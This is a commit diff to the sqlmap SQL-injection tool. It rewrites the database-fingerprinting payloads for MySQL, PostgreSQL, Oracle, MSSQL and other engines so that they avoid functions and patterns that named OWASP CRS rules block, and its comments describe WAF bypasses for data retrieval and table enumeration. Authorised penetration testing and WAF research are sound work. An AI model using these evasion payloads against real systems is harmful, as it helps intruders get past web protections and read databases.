Adding more WAF friendly fingerprinting payloads

This commit is contained in:
Miroslav Štampar
2026-08-17 14:25:46 +02:00
parent 76ddd7a1b9
commit cbe892410c
10 changed files with 44 additions and 38 deletions
+11 -8
View File
@@ -42,17 +42,19 @@ def action():
# First of all we have to identify the back-end database management
# system to be able to go ahead with the injection
# automatic WAF-bypass: if a WAF/IPS is present and the back-end DBMS is already indicated by the error
# page or the heuristic checks, skip active fingerprinting (the WAF would just block its payloads
# and flood the run with 403s) and assume that DBMS, so the user gets a usable result
if kb.wafBypass and not conf.forceDbms:
setHandler()
# automatic WAF-bypass: fingerprinting probes are kept off the WAF/IPS blacklists, so it is tried
# first even behind a protection. Only if it comes back empty the back-end DBMS is assumed from
# the error page or the heuristic checks, so that the user still gets a usable result
if kb.wafBypass and not conf.forceDbms and not Backend.getIdentifiedDbms():
fallback = Backend.getErrorParsedDBMSes() or ([kb.heuristicDbms] if kb.heuristicDbms else [])
fallback = next((_ for _ in fallback if _ and _.lower() in SUPPORTED_DBMS), None)
if fallback:
logger.warning("skipping active back-end DBMS fingerprinting behind the WAF/IPS and assuming '%s' from error/heuristic detection" % fallback)
logger.warning("active back-end DBMS fingerprinting did not get through the WAF/IPS. Assuming '%s' from error/heuristic detection" % fallback)
conf.forceDbms = fallback
setHandler()
setHandler()
# multi-bit blind ('--multi-bit'): the back-end is known now, so its bit arithmetic can be checked
# before nudging the user towards a channel that reads several characters per request (no requests)
@@ -64,8 +66,9 @@ def action():
# automatic WAF-bypass: with MySQL behind the WAF, make data retrieval AND table enumeration survive a
# libinjection-class WAF (e.g. OWASP CRS), verified end-to-end through ModSecurity/CRS:
# * fingerprinting was skipped, so flag has_information_schema (modern MySQL >=5.0 always has it) -
# otherwise enumeration wrongly assumes 'MySQL < 5.0' and bails with "no tables";
# * flag has_information_schema (modern MySQL >=5.0 always has it) in case the DBMS was assumed
# rather than fingerprinted, otherwise enumeration wrongly assumes 'MySQL < 5.0' and bails
# with "no tables",
# * 'blindbinary' reshapes the single-character read ORD(MID())->RIGHT(LEFT())>BINARY 0x.. (sheds the
# ORD/MID function names scored by 942151/942190);
# * 'infoschema2innodb' moves table enumeration off 'information_schema' (scored by 942140) onto
+1 -1
View File
@@ -20,7 +20,7 @@ from lib.core.enums import OS
from thirdparty import six
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
VERSION = "1.10.8.39"
VERSION = "1.10.8.40"
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
+5 -3
View File
@@ -72,9 +72,11 @@ class Fingerprint(GenericFingerprint):
retVal = None
table = (
("1.0", ("EXISTS(SELECT CURRENT_USER FROM RDB$DATABASE)",)),
("1.5", ("NULLIF(%d,%d) IS NULL", "EXISTS(SELECT CURRENT_TRANSACTION FROM RDB$DATABASE)")),
("2.0", ("EXISTS(SELECT CURRENT_TIME(0) FROM RDB$DATABASE)", "BIT_LENGTH(%d)>0", "CHAR_LENGTH(%d)>0")),
("2.1", ("BIN_XOR(%d,%d)=0", "PI()>0.%d", "RAND()<1.%d", "FLOOR(1.%d)>=0")),
# Note: NULLIF(), CURRENT_TIME(), BIT_LENGTH(), CHAR_LENGTH() and RAND() are all blacklisted
# by WAF/IPS (e.g. OWASP CRS rule 942151), so only markers from the same releases are kept
("1.5", ("EXISTS(SELECT CURRENT_TRANSACTION FROM RDB$DATABASE)",)),
("2.0", ("EXISTS(SELECT 1 FROM RDB$DATABASE ROWS 1)",)),
("2.1", ("BIN_XOR(%d,%d)=0", "PI()>0.%d", "FLOOR(1.%d)>=0")),
("2.5", ("'%s' SIMILAR TO '%s'",)), # Reference: https://firebirdsql.org/refdocs/langrefupd25-similar-to.html
("3.0", ("FALSE IS FALSE",)), # https://www.firebirdsql.org/file/community/conference-2014/pdf/02_fb.2014.whatsnew.30.en.pdf
)
+1 -1
View File
@@ -93,7 +93,7 @@ class Fingerprint(GenericFingerprint):
infoMsg = "confirming %s" % DBMS.H2
logger.info(infoMsg)
result = inject.checkBooleanExpression("LEAST(ROUNDMAGIC(PI()),3)=3")
result = inject.checkBooleanExpression("ROUNDMAGIC(PI())>=3") # Note: same check without the blacklisted LEAST()
if not result:
warnMsg = "the back-end DBMS is not %s" % DBMS.H2
+1 -1
View File
@@ -99,7 +99,7 @@ class Fingerprint(GenericFingerprint):
infoMsg = "confirming %s" % DBMS.HSQLDB
logger.info(infoMsg)
result = inject.checkBooleanExpression("LEAST(ROUNDMAGIC(PI()),3)=3")
result = inject.checkBooleanExpression("ROUNDMAGIC(PI())>=3") # Note: same check without the blacklisted LEAST()
if not result:
warnMsg = "the back-end DBMS is not %s" % DBMS.HSQLDB
+2 -2
View File
@@ -91,9 +91,9 @@ class Fingerprint(GenericFingerprint):
for version, check in (
("Azure", "@@VERSION LIKE '%Azure%'"),
("2025", "CHARINDEX('17.0.',@@VERSION)>0"),
("2022", "GREATEST(NULL,NULL) IS NULL"),
("2022", "LEFT_SHIFT(1,1)=2"), # Note: same release as the blacklisted GREATEST()
("2019", "CHARINDEX('15.0.',@@VERSION)>0"),
("2017", "TRIM(NULL) IS NULL"),
("2017", "TRANSLATE('[RANDSTR]','[RANDSTR]','[RANDSTR]')='[RANDSTR]'"), # Note: same release as the blacklisted TRIM()
("2016", "ISJSON(NULL) IS NULL"),
("2014", "CHARINDEX('12.0.',@@VERSION)>0"),
("2012", "CONCAT(NULL,NULL)=CONCAT(NULL,NULL)"),
+15 -17
View File
@@ -72,7 +72,8 @@ class Fingerprint(GenericFingerprint):
found = False
for candidate in versions:
result = inject.checkBooleanExpression("[RANDNUM]=[RANDNUM]/*!%d AND [RANDNUM1]=[RANDNUM2]*/" % candidate[0])
# Note: '.0' keeps the (always false) comparison, but takes the comment off WAF/IPS blacklists (e.g. OWASP CRS rule 942500)
result = inject.checkBooleanExpression("[RANDNUM]=[RANDNUM]/*!%d AND [RANDNUM1].0=[RANDNUM2]*/" % candidate[0])
if not result:
found = True
@@ -81,7 +82,7 @@ class Fingerprint(GenericFingerprint):
if found:
for version in xrange(candidate[1], candidate[0] - 1, -1):
version = getUnicode(version)
result = inject.checkBooleanExpression("[RANDNUM]=[RANDNUM]/*!%s AND [RANDNUM1]=[RANDNUM2]*/" % version)
result = inject.checkBooleanExpression("[RANDNUM]=[RANDNUM]/*!%s AND [RANDNUM1].0=[RANDNUM2]*/" % version)
if not result:
if version[0] == "3":
@@ -119,6 +120,8 @@ class Fingerprint(GenericFingerprint):
fork = FORK.DORIS
elif inject.checkBooleanExpression("@@VERSION_COMMENT LIKE '%StarRocks%'"):
fork = FORK.STARROCKS
elif inject.checkBooleanExpression("GEOGRAPHY_AREA(NULL) IS NULL"): # Note: MemSQL is the only one of the forks without SESSION_USER()
fork = FORK.MEMSQL
elif inject.checkBooleanExpression("AURORA_VERSION() LIKE '%'"): # Reference: https://aws.amazon.com/premiumsupport/knowledge-center/aurora-version-number/
fork = FORK.AURORA
else:
@@ -200,20 +203,14 @@ class Fingerprint(GenericFingerprint):
infoMsg = "testing %s" % DBMS.MYSQL
logger.info(infoMsg)
result = inject.checkBooleanExpression("IFNULL(QUARTER(NULL),NULL XOR NULL) IS NULL")
# Note: QUARTER() and XOR are the MySQL specifics here, while the dropped IFNULL() only added a name that WAF/IPS blacklist (e.g. OWASP CRS rule 942151)
result = inject.checkBooleanExpression("QUARTER(NULL) IS NULL AND (NULL XOR NULL) IS NULL")
if result:
infoMsg = "confirming %s" % DBMS.MYSQL
logger.info(infoMsg)
result = inject.checkBooleanExpression("COALESCE(SESSION_USER(),USER()) IS NOT NULL")
if not result:
# Note: MemSQL doesn't support SESSION_USER()
result = inject.checkBooleanExpression("GEOGRAPHY_AREA(NULL) IS NULL")
if result:
hashDBWrite(HASHDB_KEYS.DBMS_FORK, FORK.MEMSQL)
result = inject.checkBooleanExpression("(QUARTER(NULL) XOR [RANDNUM]) IS NULL")
if not result:
warnMsg = "the back-end DBMS is not %s" % DBMS.MYSQL
@@ -227,19 +224,20 @@ class Fingerprint(GenericFingerprint):
kb.data.has_information_schema = True
# Determine if it is MySQL >= 9.0.0
if inject.checkBooleanExpression("ISNULL(VECTOR_DIM(NULL))"):
if inject.checkBooleanExpression("VECTOR_DIM(NULL) IS NULL"):
Backend.setVersion(">= 9.0.0")
setDbms("%s 9" % DBMS.MYSQL)
self.getBanner()
# Determine if it is MySQL >= 8.0.0
elif inject.checkBooleanExpression("ISNULL(JSON_STORAGE_FREE(NULL))"):
elif inject.checkBooleanExpression("JSON_STORAGE_FREE(NULL) IS NULL"):
Backend.setVersion(">= 8.0.0")
setDbms("%s 8" % DBMS.MYSQL)
self.getBanner()
# Determine if it is MySQL >= 5.0.0
elif inject.checkBooleanExpression("ISNULL(TIMESTAMPADD(MINUTE,[RANDNUM],NULL))"):
# Note: '@@automatic_sp_privileges' (MySQL 5.0.3) instead of the blacklisted TIMESTAMPADD()
elif inject.checkBooleanExpression("@@automatic_sp_privileges=@@automatic_sp_privileges"):
Backend.setVersion(">= 5.0.0")
setDbms("%s 5" % DBMS.MYSQL)
self.getBanner()
@@ -251,11 +249,11 @@ class Fingerprint(GenericFingerprint):
logger.info(infoMsg)
# Check if it is MySQL >= 5.7
if inject.checkBooleanExpression("ISNULL(JSON_QUOTE(NULL))"):
if inject.checkBooleanExpression("JSON_QUOTE(NULL) IS NULL"):
Backend.setVersion(">= 5.7")
# Check if it is MySQL >= 5.6
elif inject.checkBooleanExpression("ISNULL(VALIDATE_PASSWORD_STRENGTH(NULL))"):
elif inject.checkBooleanExpression("VALIDATE_PASSWORD_STRENGTH(NULL) IS NULL"):
Backend.setVersion(">= 5.6")
# Check if it is MySQL >= 5.5
@@ -339,7 +337,7 @@ class Fingerprint(GenericFingerprint):
infoMsg = "fingerprinting the back-end DBMS operating system"
logger.info(infoMsg)
result = inject.checkBooleanExpression("'W'=UPPER(MID(@@version_compile_os,1,1))")
result = inject.checkBooleanExpression("'W'=UPPER(LEFT(@@version_compile_os,1))") # Note: LEFT() instead of the blacklisted MID()
if result:
Backend.setOs(OS.WINDOWS)
+2 -1
View File
@@ -126,7 +126,8 @@ class Fingerprint(GenericFingerprint):
# Reference: https://en.wikipedia.org/wiki/Oracle_Database
for version in ("23c", "21c", "19c", "18c", "12c", "11g", "10g", "9i", "8i", "7"):
number = int(re.search(r"([\d]+)", version).group(1))
output = inject.checkBooleanExpression("%d=(SELECT SUBSTR((VERSION),1,%d) FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1)" % (number, 1 if number < 10 else 2))
# Note: prefix matching instead of the blacklisted SUBSTR()
output = inject.checkBooleanExpression("(SELECT VERSION FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1) LIKE '%d%%'" % number)
if output:
Backend.setVersion(version)
+4 -3
View File
@@ -118,7 +118,8 @@ class Fingerprint(GenericFingerprint):
infoMsg = "confirming %s" % DBMS.PGSQL
logger.info(infoMsg)
result = inject.checkBooleanExpression("COALESCE([RANDNUM], NULL)=[RANDNUM]")
# Note: TO_HEX() is PostgreSQL specific as well, and not blacklisted like COALESCE()
result = inject.checkBooleanExpression("TO_HEX([RANDNUM]) IS NOT NULL")
if not result:
warnMsg = "the back-end DBMS is not %s" % DBMS.PGSQL
@@ -142,7 +143,7 @@ class Fingerprint(GenericFingerprint):
Backend.setVersion(">= 16.0")
elif inject.checkBooleanExpression("REGEXP_COUNT(NULL,NULL) IS NULL"):
Backend.setVersion(">= 15.0")
elif inject.checkBooleanExpression("BIT_COUNT(NULL) IS NULL"):
elif inject.checkBooleanExpression("TRIM_ARRAY(ARRAY[1,2],1)=ARRAY[1]"): # Note: same release as the blacklisted BIT_COUNT()
Backend.setVersion(">= 14.0")
elif inject.checkBooleanExpression("NULL::anycompatible IS NULL"):
Backend.setVersion(">= 13.0")
@@ -154,7 +155,7 @@ class Fingerprint(GenericFingerprint):
Backend.setVersionList([">= 10.0", "< 11.0"])
elif inject.checkBooleanExpression("SIND(0)=0"):
Backend.setVersionList([">= 9.6.0", "< 10.0"])
elif inject.checkBooleanExpression("TO_JSONB(1) IS NOT NULL"):
elif inject.checkBooleanExpression("ARRAY_POSITION(ARRAY[1,2],2)=2"): # Note: same release as the blacklisted TO_JSONB()
Backend.setVersionList([">= 9.5.0", "< 9.6.0"])
elif inject.checkBooleanExpression("JSON_TYPEOF(NULL) IS NULL"):
Backend.setVersionList([">= 9.4.0", "< 9.5.0"])
+2 -1
View File
@@ -106,7 +106,8 @@ class Fingerprint(GenericFingerprint):
Backend.setVersion(str(result))
else:
for version in xrange(12, 16):
result = inject.checkBooleanExpression("PATINDEX('%%/%d[./]%%',@@VERSION)>0" % version)
# Note: plain LIKE matches the same two shapes, without the bracket class that WAF/IPS score (e.g. OWASP CRS rule 932130)
result = inject.checkBooleanExpression("(@@VERSION LIKE '%%/%d.%%' OR @@VERSION LIKE '%%/%d/%%')" % (version, version))
if result:
Backend.setVersion(str(version))